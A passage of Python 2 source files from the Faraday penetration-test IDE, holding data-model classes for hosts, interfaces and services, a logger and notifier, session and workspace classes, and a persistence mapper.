157 def addApplicationFull(self, app): # Deprecated # Deprecated
158 self.addApplication(app)
159
160 def getAllApplications(self, mode = 0): # Deprecated
161 """
162 return all applications in this interface
163 mode = 0 returns a list of service objects
164 mode = 1 returns a dictionary of service objects with their id as key
165 """
166 return self._getAllValues("_applications", mode)
167
168 def getApplication(self, name): # Deprecated
169 """
170 if name is found it returns the application object
171 it returns None otherwise
172 """
173 return self._getValueByID("_applications", name)
174
175 def __eq__(self, other_host):
176 if isinstance(other_host, Host):
177 if self._name == other_host.getName():
178 return True
179 else:
180
181 ip_addr_this = self.getIPv4Addresses()
182 ip_addr_other = other_host.getIPv4Addresses()
183
184
185
186
187
188
189
190
191
192
193 for addr in ip_addr_this:
194 if addr in ip_addr_other and IPy.IP(addr).iptype() == "PUBLIC":
195 return True
196
197 return False
198
199 def __ne__(self, other_host):
200 return not self == other_host
201
202 def getIPv4Addresses(self):
203 """
204 returns a list of all ipv4 addresses from all interfaces on this host
205 """
206 l = [interface.ipv4['address'] for name, interface in self._interfaces.items()]
207 l.sort()
208 return l
209
210 def getIPv6Addresses(self):
211 """
212 returns a list of all ipv4 addresses from all interfaces on this host
213 """
214 l = [interface.ipv6['address'] for name, interface in self._interfaces.items()]
215 l.sort()
216 return l
217
218 class Interface(ModelComposite):
219 """
220 An interface in a host
221 """
222
223 class_signature = "Interface"
224
225 def __init__(self, name = "", mac = "00:00:00:00:00:00",
226 ipv4_address = "0.0.0.0", ipv4_mask = "0.0.0.0",
227 ipv4_gateway = "0.0.0.0", ipv4_dns = [],
228 ipv6_address = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_prefix = "00",
229 ipv6_gateway = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_dns = [],
230 network_segment = "", hostname_resolution = None, parent_id=None):
231
232 ModelComposite.__init__(self, parent_id)
233
234
235 self._name = name
236 self.mac = mac
237 self.ipv4 = {
238 "address" : ipv4_address,
239 "mask" : ipv4_mask,
240 "gateway" : ipv4_gateway,
241 "DNS" : ipv4_dns
242 }
243
244 self.ipv6 = {
245 "address" : ipv6_address,
246 "prefix" : ipv6_prefix,
247 "gateway" : ipv6_gateway,
248 "DNS" : ipv6_dns
249 }
250
251
252 self._services = {}
253
254
255 self.network_segment = network_segment
256
257
258 self._hostnames=[]
259 if hostname_resolution is not None:
260 if isinstance(hostname_resolution, (str,unicode)):
261 self._hostnames.append(hostname_resolution)
262 else:
263 self._hostnames = hostname_resolution
264
265 self.amount_ports_opened = 0
266 self.amount_ports_closed = 0
267 self.amount_ports_filtered = 0
268
269 def _updatePublicAttributes(self):
270
271 self.publicattrs['MAC Address'] = 'mac'
272 self.publicattrs['IPV4 Settings'] = 'ipv4'
273 self.publicattrs['IPV6 Settings'] = 'ipv6'
274 self.publicattrs['Network Segment'] = 'network_segment'
275 self.publicattrs['Hostnames'] = 'getHostnames'
276 self.publicattrs['Ports opened'] = 'amount_ports_opened'
277 self.publicattrs['Ports closed'] = 'amount_ports_closed'
278 self.publicattrs['Ports filtered'] = 'amount_ports_filtered'
279
280 self.publicattrsrefs['MAC Address'] = 'mac'
281 self.publicattrsrefs['IPV4 Settings'] = 'ipv4'
282 self.publicattrsrefs['IPV6 Settings'] = 'ipv6'
283 self.publicattrsrefs['Network Segment'] = 'network_segment'
284 self.publicattrsrefs['Hostnames'] = '_hostnames'
285
286 def defaultValues(self):
287 defVals = ModelObject.defaultValues(self)
288 defVals.extend([{
289 "address" : "0.0.0.0",
290 "mask" : "0.0.0.0",
291 "gateway" : "0.0.0.0",
292 "DNS" : []
293 }, {'prefix': '00', 'gateway': '0000:0000:0000:0000:0000:0000:0000:0000', 'DNS': [], 'address': '0000:0000:0000:0000:0000:0000:0000:0000'}])
294 return defVals
295
296 def accept(self, visitor):
297 for servs in self.getAllServices():
298 servs.accept(visitor)
299 visitor.visit(self)
300
301
302 def tieBreakable(self, property_key):
303 if property_key in ["_hostnames"]:
304 return True
305 return False
306
307 def tieBreak(self, key, prop1, prop2):
308 if key == "_hostnames":
309 prop1.extend(prop2)
310 return list(set(prop1))
311 return None
312
313 def updateID(self):
314 self._id = get_hash([self.network_segment, self.ipv4["address"], self.ipv6["address"]])
315 self._prependParentId()
316
317 def setName(self, name):
318 self._name = name
319
320 def getName(self):
321 return self._name
322
323
324
325 def setMAC(self, mac):
326 self.mac = mac
327
328 def getMAC(self):
329 return self.mac
330
331 def setNetworkSegment(self, network_segment):
332 self.network_segment = network_segment
333
334 def getNetworkSegment(self):
335 return self.network_segment
336
337 def setIPv4(self, ipv4):
338 self.ipv4["address"] = ipv4.get("address", None)
339 self.ipv4["mask"] = ipv4.get("mask", None)
340 self.ipv4["gateway"] = ipv4.get("gateway", None)
341 self.ipv4["DNS"] = ipv4.get("DNS", None)
342
343 def getIPv4(self):
344 return self.ipv4
345
346 def getIPv4Address(self):
347 return self.ipv4["address"]
348
349 def getIPv4Mask(self):
350 return self.ipv4["mask"]
351
352 def getIPv4Gateway(self):
353 return self.ipv4["gateway"]
354
355 def getIPv4DNS(self):
356 return self.ipv4["DNS"]
357
358 def setIPv6(self, ipv6):
359 self.ipv6["address"] = ipv6.get("address", None)
360 self.ipv6["prefix"] = ipv6.get("prefix", None)
361 self.ipv6["gateway"] = ipv6.get("gateway", None)
362 self.ipv6["DNS"] = ipv6.get("DNS", None)
363
364 def getIPv6(self):
365 return self.ipv6
366
367 def getIPv6Address(self):
368 return self.ipv6["address"]
369
370 def getIPv6Prefix(self):
371 return self.ipv6["prefix"]
372
373 def getIPv6Gateway(self):
374 return self.ipv6["gateway"]
375
376 def getIPv6DNS(self):
377 return self.ipv6["DNS"]
378
379 def setPortsOpened(self, ports_opened):
380 self.amount_ports_opened = ports_opened
381
382 def getPortsOpened(self):
383 return self.amount_ports_opened
384
385 def setPortsClosed(self, ports_closed):
386 self.amount_ports_closed = ports_closed
387
388 def getPortsClosed(self):
389 return self.amount_ports_closed
390
391 def setPortsFiltered(self, ports_filtered):
392 self.amount_ports_filtered = ports_filtered
393
394 def getPortsFiltered(self):
395 return self.amount_ports_filtered
396
397 @updateLocalMetadata
398 def addService(self, newService, update=False, setparent=True): # Deprecated
399 res = self._addValue("_services", newService, setparent=setparent, update=update)
400 if res: newService.addInterface(self)
401 return res
402
403 @updateLocalMetadata
404 def delService(self, srvID, checkFullDelete=True): # Deprecated
405 res = True
406 res = self._delValue("_services", srvID)
407 return res
408
409 def getAllServices(self, mode = 0):
410 return self.getChildsByType(Service.__name__)
411
412 def getService(self, name):
413 """
414 if name is found it returnsnetwork_segment the service object
415 it returns None otherwise
416 """
417 return self._getValueByID("_services", name)
418
419 def setServices(self, services):
420 self._addChildsDict(services)
421
422 def addHostname(self, hostname):
423 if hostname not in self._hostnames:
424 self._hostnames.append(hostname)
425
426 def removeHostname(self, hostname):
427 if hostname in self._hostnames:
428 self._hostnames.remove(hostname)
429
430 def getHostnames(self):
431 return self._hostnames
432
433 def setHostnames(self, hostnames):
434 self._hostnames = hostnames
435
436 #@save
437 @updateLocalMetadata
438 def updateAttributes(self, name=None, description=None, hostnames=None, mac=None, ipv4=None, ipv6=None,
439 network_segment=None, amount_ports_opened=None, amount_ports_closed=None,
440 amount_ports_filtered=None, owned=None):
441
442 if name is not None:
443 self.setName(name)
444 if description is not None:
445 self.setDescription(description)
446 if hostnames is not None:
447 self.setHostnames(hostnames)
448 if mac is not None:
449 self.setMAC(mac)
450 if ipv4 is not None:
451 self.setIPv4(ipv4)
452 if ipv6 is not None:
453 self.setIPv6(ipv6)
454 if network_segment is not None:
455 self.setNetworkSegment(network_segment)
456 if amount_ports_opened is not None:
457 self.setPortsOpened(amount_ports_opened)
458 if amount_ports_closed is not None:
459 self.setPortsClosed(amount_ports_closed)
460 if amount_ports_filtered is not None:
461 self.setPortsFiltered(amount_ports_filtered)
462 if owned is not None:
463 self.setOwned(owned)
464
465
466 class Service(ModelComposite):
467 """
468 A service or application running in a host
469 Commonly a service will have a name or description, a set of ports in which
470 is listening and also a particular version
471 """
472
473 class_signature = "Service"
474
475 def __init__(self, name, protocol="TCP", ports=None, status="running",
476 version="unknown", description = "", parent_id=None):
477 ModelComposite.__init__(self, parent_id)
478
479 self._name = name
480 self.description = description
481 self.setProtocol(protocol)
482 self._ports=[]
483 self.setPorts(ports)
484 self._status = status
485 self._version = version
486 self._interfaces = {}
487 self._applications = {}
488 self._creds = {}
489
490 def _updatePublicAttributes(self):
491
492 self.publicattrsrefs['Ports'] = '_ports'
493 self.publicattrsrefs['Protocol'] = '_protocol'
494 self.publicattrsrefs['Status'] = '_status'
495 self.publicattrsrefs['Version'] = '_version'
496
497 self.publicattrs['Ports'] = 'getPorts'
498 self.publicattrs['Protocol'] = 'getProtocol'
499 self.publicattrs['Status'] = 'getStatus'
500 self.publicattrs['Version'] = 'getVersion'
501
502
503 def setName(self, name):
504 self._name = name
505
506 def getName(self):
507 return self._name
508
509
510 def setProtocol(self, protocol):
511 self._protocol = protocol.lower()
512
513 def getProtocol(self):
514 return self._protocol
515
516 def addPort(self, port):
517 if port not in self._ports:
518 self._ports.append(port)
519
520 def removePort(self, port):
521 if port in self._ports:
522 self._ports.remove(port)
523
524 def getPorts(self):
525 return self._ports
526
527 def setPorts(self, ports):
528 if ports is not None:
529 if isinstance(ports, (str,unicode)):
530 self._ports = [int(ports)]
531 elif isinstance(ports, int):
532 self._ports = [ports]
533 elif isinstance(ports, list):
534 self._ports = [int(p) for p in ports]
535 else:
536 api.devlog("ports must be a string, an int o a list of any of those types")
537
538 def setStatus(self, status):
539 self._status = status
540
541 def getStatus(self):
542 return self._status
543
544 def setVersion(self, version):
545 self._version = version
546
547 def getVersion(self):
548 return self._version
549
550 def updateID(self):
551 self._id = get_hash([self._protocol, ":".join(str(self._ports))])
552 self._prependParentId()
553
554 #@save
555 @updateLocalMetadata
556 def updateAttributes(self, name=None, description=None, protocol=None, ports=None,
557 status=None, version=None, owned=None):
558 if name is not None:
559 self.setName(name)
560 if description is not None:
561 self.setDescription(description)
562 if protocol is not None:
563 self.setProtocol(protocol)
564 if ports is not None:
565 self.setPorts(ports)
566 if status is not None:
567 self.setStatus(status)
568 if version is not None:
569 self.setVersion(version)
570 if owned is not None:
571 self.setOwned(owned)
572
573 def _checkFullDelete(self):
574 api.devlog("Doing service checkFullDelete")
575 if not self._interfaces and not self._applications:
576 if self.getParent() is not None:
577 self.getParent().delService(self.getID())
578
579 def getAllInterfaces(self, mode = 0):
580 """
581 return all interfaces in this host
582 mode = 0 returns a list of interface objects
583 mode = 1 returns a dictionary of interface objects with their id as key
584 """
585 return self._getAllValues("_interfaces", mode)
586
587 def getInterface(self, value):
588 """
589 value can be a mac or ipv4 address
590 if value is found it returns the interface objets
591 it returns None otherwise
592 """
593 return self._getValueByID("_interfaces", value)
594
595 def addApplication(self, newApp, update=False): # Deprecated
596 res = self._addValue("_applications", newApp, update=update)
597 if res: newApp.addService(self)
598 return res
599
600 def delApplication(self, appID, checkFullDelete=True): # Deprecated
601 app = self.getApplication(appID)
602 res = self._delValue("_applications", appID)
603 if res:
604 if app is not None:
605 app.delService(self.getID(), checkFullDelete)
606
607 if checkFullDelete: self._checkFullDelete()
608 return res
609
610 def getAllApplications(self, mode = 0): # Deprecated
611 """
612 return all applications in this service
613 mode = 0 returns a list of applications objects
614 mode = 1 returns a dictionary of application objects with their id as key
615 """
616 return self._getAllValues("_applications", mode)
617
618 def getApplication(self, name): # Deprecated
619 """
620 if name is found it returns the application object
621 it returns None otherwise
622 """
623 return self._getValueByID("_applications", name)
624
625 class HostApplication(ModelComposite): # Deprecated
626 """
627 An application running in a host
628 The application can be related to more than one service
629 Commonly this will have a name, description, version and status
630 """
631
632 class_signature = "HostApplication"
633
634 def __init__(self, name, status = "running", version = "unknonw"):
635 ModelComposite.__init__(self)
636
637 self._name = name
638 self._status = status
639 self._version = version
640
641 self._services = {}
642
643 def _updatePublicAttributes(self):
644 self.publicattrs['Status'] = 'getStatus'
645 self.publicattrs['Version'] = 'getVersion'
646
647 def setName(self, name):
648 self._name = name
649
650 def getName(self):
651 return self._name
652
653 def setStatus(self, status):
654 self._status = status
655
656 def getStatus(self):
657 return self._status
658
659 def setVersion(self, version):
660 self._version = version
661
662 def getVersion(self):
663 return self._version
664
665 def updateID(self):
666 self._id = get_hash([self._name, self._version])
667 self._prependParentId()
668
669 @updateLocalMetadata
670 def updateAttributes(self, name=None, description=None, status=None, version=None, owned=None):
671 if name is not None:
672 self.setName(name)
673 if description is not None:
674 self.setDescription(description)
675 if status is not None:
676 self.setStatus(status)
677 if version is not None:
678 self.setVersion(version)
679 if owned is not None:
680 self.setOwned(owned)
681
682 @updateLocalMetadata
683 def addService(self, newService, update=False):
684 res = self._addValue("_services", newService, update=update)
685 if res: newService.addApplication(self)
686 if self.getParent() is not None:
687 self.getParent().addService(newService)
688 return res
689
690 @updateLocalMetadata
691 def delService(self, srvID, checkFullDelete=True):
692 srv = self.getService(srvID)
693 res = self._delValue("_services", srvID)
694 if res:
695 if srv is not None:
696 srv.delApplication(self.getID(), checkFullDelete)
697 return res
698
699 def getAllServices(self, mode = 0):
700 """
701 return all services in this interface
702 mode = 0 returns a list of service objects
703 mode = 1 returns a dictionary of service objects with their id as key
704 """
705 return self._getAllValues("_services", mode)
706
707 def getService(self, name):
708 """
709 if name is found it returns the service object
710 it returns None otherwise
711 """
712 return self._getValueByID("_services", name)
713
714
715 def __checkDiffObjectClasses(objLeft, objRight, checkClass):
716
717 if not isinstance(objLeft, checkClass) or not isinstance(objRight, checkClass) :
718 raise Exception("Cannot diff objects. Class mismatch!. objLeft class (%s) - objRight class (%s)"
719 % (objLeft.__class__.__name__, objRight.__class__.__name__))
720
721 def HostDiff(objLeft, objRight):
722 """
723
724 """
725 __checkDiffObjectClasses(objLeft, objRight, Host)
726
727
728 def InterfaceDiff(objLeft, objRight):
729 __checkDiffObjectClasses(objLeft, objRight, Interface)
730 pass
731
732 def ServiceDiff(objLeft, objRight):
733 __checkDiffObjectClasses(objLeft, objRight, Service)
734 pass
735
736 def HostApplicationDiff(objLeft, objRight):
737 __checkDiffObjectClasses(objLeft, objRight, HostApplication)
738 pass
739
740 __diff_dispatch_table = {
741 Host: HostDiff,
742 HostApplication: HostApplicationDiff,
743 Interface: InterfaceDiff,
744 Service: ServiceDiff
745 }
746
747
748 def ModelObjectDiff(objLeft, objRight):
749 """
750 This is like a dispatcher. Based on the object class it call the corresponding
751 diff function. If a diff function for the class is not pressent it raises a
752 NotImplemented Exception
753 """
754
755 if not isinstance(objLeft, objRight.__class__):
756 raise Exception("Cannot compare objects of different classes. objLeft (%s) vs objRight (%s)"
757 % (objLeft.__class__.__name__, objRight.__class__.__name__))
758
759 global __diff_dispatch_table
760 diff_func = __diff_dispatch_table.get(objLeft.__class__, None)
761
762 if diff_func is None:
763 raise NotImplemented("Diff function for %s does not exist" % objLeft.__class__.__name__)
764
765 return diff_func(objLeft, objRight)
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import threading
9 import logging
10 import logging.handlers
11 from gui.customevents import (LogCustomEvent,
12 ShowPopupCustomEvent,
13 ShowDialogCustomEvent)
14 #import qt
15 import model.guiapi
16
17 from config.configuration import getInstanceConfiguration
18 CONF = getInstanceConfiguration()
19
20 __the_logger = None
21 __notifier = None
22
23
24 def getLogger():
25 global __the_logger
26 if __the_logger is None:
27 # we create for the first time
28 __the_logger = AppLogger()
29 return __the_logger
30
31
32 def getNotifier(singleton=True):
33 global __notifier
34 if singleton:
35 if __notifier is None:
36 __notifier = Notifier()
37 return __notifier
38 else:
39 return Notifier()
40
41
42 class AppLogger(object):
43 """
44 a logging facility to show application activity
45 possible outputs are log file
46 console in a gui
47 This is thread safe. It uses an internal lock to make sure
48 text is logged sequentially
49 """
50
51 levels = {
52 "NOTIFICATION":logging.INFO,\
53 "INFO":logging.INFO,\
54 "WARNING":logging.WARNING,\
55 "ERROR":logging.ERROR,\
56 "CRITICAL":logging.CRITICAL,\
57 "DEBUG":logging.DEBUG \
58 }
59
60 def __init__(self, name = CONF.getAppname()):
61 # The logger instance.
62 self.__logger = logging.getLogger(name)
63
64 # We set the default level, this can be changed at any moment.
65 self.__logger.setLevel(logging.DEBUG)
66
67 # The name of the logger object.
68 self.__name = name
69
70 # The handler object.
71 self.__handler = None
72
73 # These flag will enable/disable the logger for different outputs
74 self.__output_file = False
75 self.__output_console = True
76
77 # a list of widgets we need to update when new text comes
78 self.__gui_output = []
79
80 self.__lock = threading.RLock()
81
82
83 def setLogFile(self, filename = None, maxsize=0,maxBackup=10, file_mode = 'a'):
84 """
85 Set a logfile as an output target. If no filename is given, then a
86 file with the instance name with the ".log" extension will be created.
87 The file rotates when the size is equal or higher than the
88 specified maxsize (in bytes) value. If the maxsize value is 0, the file will increase
89 indefinitely. The maxBackup value allows to create backups of rotated
90 files with the *.log.1, .2, etc. You can define the maximun value of
91 backup created files, if the value is zero, then no backup will be performed.
92 """
93
94 # Check if the filename is valid.
95
96 if filename is None:
97 # If not, then set a default name with the name of the instance.
98 self.__handler = logging.handlers.RotatingFileHandler('%s.log' % self.__name, 'a', maxsize,maxBackup)
99 else:
100 # If the file_mode is not allowed, open with 'append' mode
101 if not (file_mode == 'a' or file_mode == 'w'):
102 file_mode = 'a'
103
104 # The user must set a correct path and filename.
105 self.__handler = logging.handlers.RotatingFileHandler(filename, file_mode,maxsize,maxBackup)
106
107 # Set the standard formater to the handler. The '-8' parameter in the level name argument
108 # is a print format parameter, it means the converted value is left adjusted(-) and that
109 # it spans at max 8 positions(8).
110 self.__handler.setFormatter(logging.Formatter("%(asctime)s - %(levelname)-8s - %(message)s"))
111
112 # Don't forget to add the handler to the logger.
113 self.__logger.addHandler(self.__handler)
114
115 def isGUIOutputRegistered(self):
116 """
117 determines if there is at least one GUI widget registered
118 to show logger output
119 """
120 if self.__gui_output:
121 return True
122 else:
123 return False
124
125 def registerGUIOutput(self, widget):
126 """
127 adds a reference to a GUI widget we need to update
128 """
129 # IMPORTANT: the widget MUST implement a method called appendText
130 self.__gui_output.append(widget)
131
132 def clearWidgets(self):
133 self.__lock.acquire()
134 self.__gui_output = []
135 self.__lock.release()
136
137 def setLogLevel(self, level):
138 self.__logger.setLevel(level)
139
140 def enableLogOutput(self, enable=True):
141 self.__output_file = enable
142
143 def enableConsoleOutput(self, enable=True):
144 self.__output_console = enable
145
146 def getLogLevel(self):
147 """ Get the current log level. """
148 return self.__logger.getEffectiveLevel()
149
150 def isFileEnabled(self):
151 return self.__output_file
152
153 def isGUIEnabled(self):
154 return self.__output_console
155
156 def __notifyGUIConsole(self, msg):
157 """
158 notifies all GUI widgets registered
159 IMPORTANT: the widgets MUST be able to handle a custom event
160 """
161 for widget in self.__gui_output:
162 event = LogCustomEvent(msg)
163 #widget.update(event)
164 #qt.QApplication.postEvent(widget, event)
165 model.guiapi.postCustomEvent(event, widget)
166
167 def log(self, msg ,level = "INFO"):
168 """
169 Send a message to the logger with the specified level and format.
170 It will redirect the output to the current target.
171 The method will automatically filter those messages with a lower
172 "loglevel" than the specified.
173 It also will attempt to write the arguments by checking the format
174 list, if the arguments are incompatible with the format, it WON'T
175 log anything else than the message.
176 """
177 #TODO: we need to format the message to contain a timestamp for the
178 # gui output. The file handles this by itself, but for the gui, only a text
179 # message arrives
180 level = level.upper()
181 if level not in self.levels:
182 level = "INFO"
183
184 # take lock
185 self.__lock.acquire()
186 try:
187 if self.__handler and self.__output_file:
188 self.__logger.log(self.levels.get(level,logging.INFO), msg)
189 # Check if the log is being sent to the console
190 if self.__output_console:
191 self.__notifyGUIConsole("[%s] - %s" % (level, msg))
192 finally: # for safety so we don't block anything
193 # after doing all release
194 self.__lock.release()
195
196
197 class Notifier(object):
198 """
199 This class is used to show information to the user using dialog boxes or
200 little pop ups (like tooltips).
201 Also all notifications get logged using the Application Logger
202 """
203
204 #TODO: change the implementation to send/post custom events to avoid
205 # problems with threads like we had before
206 def __init__(self):
207 self.widget = None
208
209 def _postCustomEvent(self, text, level, customEventClass):
210 getLogger().log(text, "NOTIFICATION")
211 if self.widget is not None:
212 event = customEventClass(text, level)
213 #widget.update(event)
214 model.guiapi.postEvent(event, self.widget)
215
216 def showDialog(self, text, level="Information"):
217 self._postCustomEvent(text, level, ShowDialogCustomEvent)
218
219 def showPopup(self, text, level="Information"):
220 self._postCustomEvent(text, level, ShowPopupCustomEvent)
221
222
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import time
7 import datetime
8 import hashlib
9
10
11 class Session(object):
12 """
13 It will handle a Faraday session, that contains:
14 - current user logged in
15 - session start time
16 - duration
17 - workspace history (?...here?)
18 - current workspace (?...here?)
19 """
20
21 def __init__(self, user):
22 self.logged_user = user
23 self.start_time = datetime.datetime.now()
24
25 self.workspace_history = []
26 self.current_workspace = None
27
28 self.__token = hashlib.sha224("%s_%s" % (self.logged_user, self.start_time)).hexdigest()
29
30 def get_token():
31 return self.__token
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 class Branch(object):
9 pass
10
11 class BranchItem(object):
12 pass
13
14
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 class View(object):
9 """A view for the data in a CouchDB"""
10 def __init__(self):
11 pass
12
13
14 class HostsServiceFrequencies(View):
15 pass
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 """
7 Contains base classes used to represent the application model
8 and some other common objects and functions used in the model
9 """
10 import sys
11 import os
12 import traceback
13 import threading
14 import SimpleXMLRPCServer
15 import xmlrpclib
16 from utils.decorators import updateLocalMetadata
17 import json
18 import model
19 from conflict import ConflictUpdate
20 from model.diff import ModelObjectDiff
21
22
23 class ModelObjectVisitor(object):
24 def visit(self, modelObjectInstance):
25 raise NotImplemented('Abstract method')
26
27
28 class VulnsLookupVisitor(ModelObjectVisitor):
29 def __init__(self, vulnId):
30 self.vulnId = vulnId
31 self.parents = []
32 self.vulns = []
33
34 def visit(self, modelObject):
35 vuln = modelObject.getVuln(self.vulnId)
36 parents = []
37 if vuln:
38 self.vulns.append(vuln)
39 parent = vuln.getParent()
40 while parent:
41 parents.append(parent)
42 parent = parent.getParent()
43
44 self.parents.append(parents)
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import time
9
10 from config.configuration import getInstanceConfiguration
11 CONF = getInstanceConfiguration()
12
13
14 class Workspace(object):
15 """
16 Handles a complete workspace (or project)
17 It contains a reference to the model and the command execution
18 history for all users working on the same workspace.
19 It has a list with all existing workspaces just in case user wants to
20 open a new one.
21 """
22 class_signature = "Workspace"
23
24 def __init__(self, name, desc=None, manager=None, shared=CONF.getAutoShareWorkspace()):
25 self.name = name
26 self.description = ""
27 self.customer = ""
28 self.start_date = time.time()
29 self.finish_date = time.time()
30 self._id = name
31 self._command_history = None
32 self.shared = shared
33 self.hosts = {}
34
35 def getID(self):
36 return self._id
37
38 def setID(self, id):
39 self._id = id
40
41 def getName(self):
42 return self.name
43
44 def setName(self, name):
45 self.name = name
46
47 def getDescription(self):
48 return self.description
49
50 def setDescription(self, desc):
51 self.description = desc
52
53 def getCustomer(self):
54 return self.customer
55
56 def setCustomer(self, customer):
57 self.customer = customer
58
59 def getStartDate(self):
60 return self.start_date
61
62 def setStartDate(self, sdate):
63 self.start_date = sdate
64
65 def getFinishDate(self):
66 return self.finish_date
67
68 def setFinishDate(self, fdate):
69 self.finish_date = fdate
70
71 def isActive(self):
72 return self.name == self._workspace_manager.getActiveWorkspace().name
73
74 def getHosts(self):
75 return self.hosts.values()
76
77 def setHosts(self, hosts):
78 self.hosts = hosts
79
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 __all__ = []
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 from model.common import (ModelObjectNote, ModelObjectCred, ModelObjectVuln,
8 ModelObjectVulnWeb)
9 from model.hosts import Host, Interface, Service
10
11
12 class CHANGETYPE(object):
13 ADD = 1,
14 UPDATE = 2
15 DELETE = 3
16 UNKNOWN = 999
17
18
19 class ChangeFactory(object):
20 def __init__(self):
21 pass
22
23 def create(self, obj, revision, deleted):
24 change_type = CHANGETYPE.UNKNOWN
25 if deleted:
26 change_type = CHANGETYPE.DELETE
27 elif int(revision.split('-')[0]) > 1:
28 change_type = CHANGETYPE.UPDATE
29 else:
30 change_type = CHANGETYPE.ADD
31
32 obj_type = obj.class_signature
33 if obj_type in [Host.class_signature,
34 Interface.class_signature,
35 Service.class_signature,
36 ModelObjectNote.class_signature,
37 ModelObjectVuln.class_signature,
38 ModelObjectVulnWeb.class_signature,
39 ModelObjectCred.class_signature,
40 'unknown']:
41 return ChangeModelObject(obj, change_type)
42 else:
43 return ChangeCmd(obj, change_type)
44
45
46 class Change(object):
47 def __init__(self, obj, change_type):
48 self.change_type = change_type
49 self.object = obj
50 self.msg = "Change: Action: %s - Type: %s" % (
51 self.change_type, self.object.class_signature)
52
53 def getObject(self):
54 return self.object
55
56 def getChangeType(self):
57 return self.change_type
58
59 def getMessage(self):
60 return self.msg
61
62
63 class ChangeModelObject(Change):
64 def __init__(self, obj, change_type):
65 Change.__init__(self, obj, change_type)
66 if self.change_type == CHANGETYPE.DELETE:
67 self.msg = "%s %s deleted" % (
68 self.object.class_signature, self.object.getName())
69 elif self.change_type == CHANGETYPE.UPDATE:
70 self.msg = "%s %s updated" % (
71 self.object.class_signature, self.object.getName())
72 elif self.change_type == CHANGETYPE.ADD:
73 self.msg = "%s %s added" % (
74 self.object.class_signature, self.object.getName())
75
76
77 class ChangeCmd(Change):
78 def __init__(self, obj, change_type):
79 Change.__init__(self, obj, change_type)
80 if self.change_type == CHANGETYPE.UPDATE:
81 self.msg = "Command finished: %s@%s: %s %s" % (
82 self.object.user, self.object.hostname,
83 self.object.command, self.object.params)
84 elif self.change_type == CHANGETYPE.ADD:
85 self.msg = "Command started: %s@%s: %s %s" % (
86 self.object.user, self.object.hostname,
87 self.object.command, self.object.params)
88
89
90 change_factory = ChangeFactory()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 from persistence.persistence_managers import DbConnector
8
9
10 class NullPersistenceManager(DbConnector):
11 def __init__(self):
12 super(NullPersistenceManager, self).__init__()
13
14 def saveDocument(self, document):
15 pass
16
17 def getDocument(self, documentId):
18 return None
19
20 def remove(self, documentId):
21 return True
22
23 def getDocsByFilter(self, parentId, type):
24 return []
25
26 def getChildren(self, parentId):
27 return []
28
29
30 class AbstractMapper(object):
31 mapped_class = None
32 dummy_args = []
33 dummy_kwargs = {}
34
35 def __init__(self, mmanager, pmanager=None):
36 self.mapper_manager = mmanager
37 self.pmanager = pmanager if pmanager else NullPersistenceManager()
38 self.object_map = {}
39
40 def setPersistenceManager(self, pmanager):
41 self.pmanager = pmanager
42
43 def save(self, obj):
44 #save the object first
45 doc = self.serialize(obj)
46 self.pmanager.saveDocument(doc)
47
48 #then add it to the IdentityMap
49 self.object_map[obj.getID()] = obj
50 return obj.getID()
51
52 def serialize(self, obj):
53 raise NotImplementedError("AbstractMapper should not be used directly")
54
55 def unserialize(self, doc):
56 raise NotImplementedError("AbstractMapper should not be used directly")
57
58 def load(self, id):
59 if id in self.object_map.keys():
60 return self.object_map.get(id)
61 doc = self.pmanager.getDocument(id)
62 if not doc or not doc.get("type") == self.mapped_class.class_signature:
63 return None
64 obj = self.mapped_class(*self.dummy_args, **self.dummy_kwargs)
65 obj.setID(doc.get("_id"))
66 self.object_map[obj.getID()] = obj
67 self.unserialize(obj, doc)
68 return obj
69
70 def reload(self, obj):
71 doc = self.pmanager.getDocument(obj.getID())
72 self.unserialize(obj, doc)
73
74 def update(self, obj):
75 self.serialize(obj)
76 self.pmanager.saveDocument(obj)
77
78 def delete(self, id):
79 obj = None
80 self.pmanager.remove(id)
81 if id in self.object_map.keys():
82 obj = self.object_map.get(id)
83 del self.object_map[id]
84 return obj
85
86 def find(self, id, with_load=True):
87 if not id or id == "None":
88 return None
89 if self.object_map.get(id) or not with_load:
90 return self.object_map.get(id)
91 return self.load(id)
92
93 def findByFilter(self, parent, type):
94 res = self.pmanager.getDocsByFilter(parent, type)
95 return res
96
97 def getChildren(self, parent):
98 res = self.pmanager.getChildren(parent)
99 return res
100
101 def getAll(self):
102 return self.object_map.values()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
